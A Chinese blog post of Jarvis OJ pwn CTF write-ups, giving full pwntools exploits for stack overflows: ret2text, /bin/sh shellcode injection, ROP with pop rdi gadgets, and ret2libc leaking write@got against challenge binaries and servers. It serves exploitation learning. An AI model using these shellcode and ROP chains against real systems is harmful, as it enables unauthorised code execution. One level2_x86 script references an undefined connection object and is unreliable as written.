Jarvis OJ Pwn writeup

此篇记录关于Jarvis OJ Pwn所有题目的writeup

[XMAN]level0

进行chack

[*] '/home/ios/Desktop/pwn0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

  • NX开启 栈溢出保护关闭

    附件拖入ida

ida

main函数里跳转到了vulnerable_function()

跟进

ida1

可以看到read可读的大小为0x200 512字节
buf大小为0x80字节

查看函数窗口 找到callsystem() 查看代码发现已经写好了shell

屡一下流程 main函数跳转到了vulnerable_function()然后 read一个大小不超过512的字节 然后返回函数

思路很清晰了 我们需要将vulnerable_function()函数的返回地址覆盖为callsystem()函数的地址即可成功getshell

buf 0x80
ebp 0x8
淹没bp 0x80+0x8
callsystem_addr = 0x400596

编写exp

from pwn import *

p = process('./pwn0')

callsystem_addr = 0x400596

payload = 'A'*0x88 +p64(callsystem_addr)

p.sendline(payload)

p.interactive()

运行结果

ios@ubuntu:~/Desktop$ python pwn0.py
[+] Starting local process './pwn0': pid 3517
[*] Switching to interactive mode
Hello, World
$ ls
core               peda-session-pwn50.txt  pwn0.py    pwn50.py
peda-session-pwn0.txt  pwn0               pwn50
$

成功getshell

Tell Me Something

先进行check

ios@ubuntu:~/Desktop$ checksec ./guestbook
[*] '/home/ios/Desktop/guestbook'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没开任何保护 64位ELF

IDA分析程序

ida1

可以看到程序 只是进行了 write read

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf; // [rsp+Fh] [rbp-9h]

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf = result;
    if ( (_BYTE)result == -1 )
      break;
    write(1, &buf, 1uLL);
  }
  return result;
}

找到关键函数 good_game

思路很简单 简单栈溢出并且覆盖ret为good_game地址即可

good_game 地址:

ida1
通过IDA即可找到 0x400620

GDB调试找到溢出偏移

加载程序 并尝试运行程序

gdb-peda$ file guestbook
Reading symbols from guestbook...(no debugging symbols found)...done.
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /home/ios/Desktop/guestbook AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your message:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
I have received your message, Thank you!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x29 (')')
RBX: 0x0 
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x29 (')')
RSI: 0x400738 ("I have received your message, Thank you!\n")
RDI: 0x1 
RBP: 0x400690 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffde28 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
RIP: 0x400525 (<main+69>:    ret)
R8 : 0x400700 (<__libc_csu_fini>:    repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>:    push   rbp)
R10: 0x37b 
R11: 0x246 
R12: 0x400526 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdf00 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400514 <main+52>:    mov    edi,0x1
   0x400519 <main+57>:    call   0x400480 <write@plt>
   0x40051e <main+62>:    add    rsp,0x88
=> 0x400525 <main+69>:    ret    
   0x400526 <_start>:    xor    ebp,ebp
   0x400528 <_start+2>:    mov    r9,rdx
   0x40052b <_start+5>:    pop    rsi
   0x40052c <_start+6>:    mov    rdx,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde28 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0008| 0x7fffffffde30 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0016| 0x7fffffffde38 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0024| 0x7fffffffde40 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0032| 0x7fffffffde48 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0040| 0x7fffffffde50 ("AuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0048| 0x7fffffffde58 ("AAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0056| 0x7fffffffde60 ("ZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400525 in main ()
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

发现错误停止在了 main函数 的ret处
接下来计算缓冲区的大小
由于程序使用的内存地址不能大于0x00007fffffffffff,PC指针并没有指向类似于0x41414141那样地址,但是ret指令等于pop rip,可以通过查看栈顶指针的值确定下一步程序运行的地址。

gdb-peda$ x/gx $rsp
0x7fffffffde28:    0x41416d4141514141
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。
得到偏移为136 所以我们就可以构造exp了

EXP

from pwn import *

#p = process('./guestbook')
p = remote('pwn.jarvisoj.com',9876)
payload = 'A'*136 + p64(0x400620)
p.recvuntil('Input your message:\n')
p.sendline(payload)
print p.recv()
print p.recv()

运行测试一下
ida1
成功拿到flag

level1

ios@ubuntu:~$ checksec level1
[*] '/home/ios/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
ios@ubuntu:~$

啥都没开2333
载入IDA分析

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

发现 read 直接读了buf 存在漏洞
利用思路 覆盖溢出buf 写入shellcode 起shell
生成shellcode方法

from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())

或者使用已经生成好的shellcode

shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"

最终利用exp

from pwn import *
p = process('./level1')
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
ret = p.recvuntil('?',drop=True)
ret = int(ret[12:],16)
print hex(ret)
payload = shellcode + 'a'*(0x88-len(shellcode)) +'bbbb'+p32(ret)
p.sendline(payload)

p.interactive()

ida1
成功拿到shell

level2_x86

检查保护

ios@ubuntu:~$ checksec level2x86
[*] '/home/ios/level2x86'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

载入IDA分析程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

main函数主要调用system函数输出 然后调用vulnerable_function()函数 我们跟进看一下

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u); //存在漏洞
}

read()函数这里限制了读入buf的长度0x100

但是 我们这里利用并不会受到影响

shift+F12尝试搜索程序是否自带shell

因为程序需要调用system函数 所以可以找到system.plt地址

方法一

查看IDA中函数调用窗口找到system.plt_addr

8

找到地址0x8048320

方法二

利用pwntools获取

from pwn import *

p = process('./level2x86')
elf=ELF('./level2x86')
#system =0x8048320

system = elf.symbols['system']
print hex(system)

即可获取

exp编写

char buf; // [esp+0h] [ebp-88h]

计算偏移 ret到buf的距离为 ebp+0x4-(ebp-88h)

gdb-peda$ p/d 0x4+0x88
$1 = 140
gdb-peda$

所以偏移为140

思路:我们溢出覆盖到ret为system地址应为压栈顺序所以先伪造system(‘bin/sh’)的返回地址(任意地址)接着传入bin/sh_addr

9

from pwn import *

#p = process('./level2x86')
elf=ELF('./level2x86')
#system =0x8048320

system = elf.symbols['system']
print hex(system)
sh =0x804A024
payload = 'a'*140+p32(system)+p32(0x1553155)+p32(sh)
p.sendline(payload)
p.interactive()

尝试远程获取shell

10

level2_x64

看题目都可以知道只是编译为64位elf

和上到题目思路类似

检查下程序保护

ios@ubuntu:~$ checksec level2_x64
[*] '/home/ios/level2_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只开启NX

载入IDA分析程序

因为和之前分析流程类似 所以直接看关键代码

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  system("echo Input:");
  return read(0, &buf, 0x200uLL);
}

漏洞存在于read函数

这里虽然限制了read读入的长度 但是不会影响我们构造payload 因为理论上read函数是可以无限度

这里要注意x64下rbp到ret的偏移为0x8字节

还需要注意

从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

变址和指针寄存器RSI和RDI

传参是有顺序的

所以这里 就是bin/sh 参数需要放在rdi里

利用思路

计算偏移

0x80+0x8 //距离rsp 0x80 因为64位所以rsp与ret偏移为0x8

利用ROPgadget获取pop rdi

ios@ubuntu:~$ ROPgadget --binary level2_x64 |grep rdi
0x00000000004006b3 : pop rdi ; ret

覆盖ret地址为gadget

pop rdi ; ret 即为将栈顶参数弹出并存入寄存器rdi,ret返回栈

接着在传入system函数调用即可

exp

from pwn import *

#p = process('./level2_x64')
p = remote('pwn2.jarvisoj.com',9882)
sh = 0x600A90
pop_rdi=0x4006b3
sys= 0x4004C0
pop_rsi=0x4006b1
payload = 'A'*0x80+'B'*0x8+p64(pop_rdi)+p64(sh)+p64(sys)
p.sendline(payload)
p.interactive()

尝试运行 成功获得flag

11

level3

检查保护

ios@ubuntu:~$ checksec level3
[*] '/home/ios/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

载入ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  write(1, "Hello, World!\n", 0xEu);
  return 0;
}

main先调用了vulnerable_function() 接着调用write()输出 hello world

跟进vulnerable_function()看下

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

漏洞存在于read()函数

利用思路

由于程序本身没有提供system函数以及/bn/sh

但是提供了libc

所以我们可以通过libc来获取system函数地址和/bin/sh地址

但是由于开启地址随机化 所以我们需要获取system偏移和/bin/sh的偏移来计算真实地址

查看当前使用libc

ios@ubuntu:~$ ldd level3
    linux-gate.so.1 =>  (0xf7fa1000)
    libc.so.6 => /lib32/libc.so.6 (0xf7dd1000)
    /lib/ld-linux.so.2 (0xf7fa3000)

可以看到当前使用的是libc.so.6

leak addr思路

利用vulnerable_function()函数构造循环来leak出write函数真实地址

write函数需要三个参数 所以可以构造循环

通过溢出buf开始循环 传入的p32(4)就是指输出4字节


context.log_level='debug'
p = process('./level3')
elf = ELF('./level3')
libc=ELF('/lib32/libc.so.6')
write_plt = elf.symbols['write']
write_got = elf.got['write']
fake = 0x804844B //vulnerable_function()
leak = 'A'*0x88+'b'*4+p32(write_plt)+p32(fake)+p32(1)+p32(write_got)+p32(4)
p.recvuntil('Input:\n')
p.sendline(leak)
write = u32(p.recv(4))
print hex(write)

既然获得了write函数的真实地址

我们就可以来计算libc偏移 从而计算出真实system地址

接着再次溢出构造system(‘/bin/sh’)

exp

from pwn import *
#context.log_level='debug'
#p = process('./level3')
p = remote('pwn2.jarvisoj.com',9879)
elf = ELF('./level3')
#libc=ELF('/lib32/libc.so.6')
libc=ELF('libc-2.19.so')
write_plt = elf.symbols['write']
write_got = elf.got['write']
fake = 0x804844B
leak = 'A'*0x88+'b'*4+p32(write_plt)+p32(fake)+p32(1)+p32(write_got)+p32(4)
p.recvuntil('Input:\n')
p.sendline(leak)
write = u32(p.recv(4))
print hex(write)
write_libc = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
system_addr = system - write_libc + write
binsh_addr = binsh - write_libc + write
payload = 'A'*0x88+'b'*4+p32(system_addr)+p32(0x1553155)+p32(binsh_addr)
p.sendline(payload)
p.interactive()

这里的p32(0x1553155)为返回地址可以任意构造

尝试运行

12

level3_x64

检查保护

ios@ubuntu:~$ checksec level3_x64
[*] '/home/ios/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

载入IDA分析

因为流程和level3一样只是编译为64位了

所以直接看关键函数

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}

思路和上一题思路类似 需要leak write 计算system真实地址与bin/sh真实地址

不过程序是64位 需要注意

从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

而leak时 write函数的三个参数需要传入前三个寄存器

使用ROPgadget寻找gadget

ios@ubuntu:~$ ROPgadget --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11

找到需要的

0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret

没找到第三个参数需要的寄存器

尝试些不去限制读入长度写EXP

查看在调用函数之前rdx的值,如果rdx值>=8,那么就不需要处理

偏移计算

0x80+0x8

可以参考level2_x64

所以这里exp可以直接使用level3的exp并对leak处和bin/sh传参处进行修改

exp

from pwn import *
#context.log_level='debug'
#p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com',9883)
elf = ELF('./level3_x64')
#libc=ELF('/lib32/libc.so.6')
libc=ELF('libc-2.19x64.so')
pop_rdi = 0x4006b3
pop_rsi = 0x4006b1
write_plt = elf.symbols['write']
write_got = elf.got['write']
fake = 0x4005E6
leak = 'A'*0x80+'b'*8+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(write_got)+p64(0x1553155)+p64(write_plt)+p64(fake)
p.recvuntil('Input:\n')
p.sendline(leak)
write = u64(p.recv(8))
print hex(write)
write_libc = libc.symbols['write']
system = libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
system_addr = system - write_libc + write
binsh_addr = binsh - write_libc + write
payload = 'A'*0x80+'b'*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()

此处p64(1553155)为返回地址可以任意定义

尝试运行

13

成功拿到flag

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!